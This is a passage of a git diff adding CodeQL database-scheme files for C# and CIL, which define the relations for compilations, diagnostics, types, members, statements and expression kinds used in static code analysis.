@cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/98e37f65f0ae39cfe1bff33908d6620ade5df0f7/semmlecode.csharp.dbscheme b/csharp/upgrades/98e37f65f0ae39cfe1bff33908d6620ade5df0f7/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..dd813977f70 --- /dev/null +++ b/csharp/upgrades/98e37f65f0ae39cfe1bff33908d6620ade5df0f7/semmlecode.csharp.dbscheme @@ -0,0 +1,1940 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 129 = @function_pointer_invocation_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = 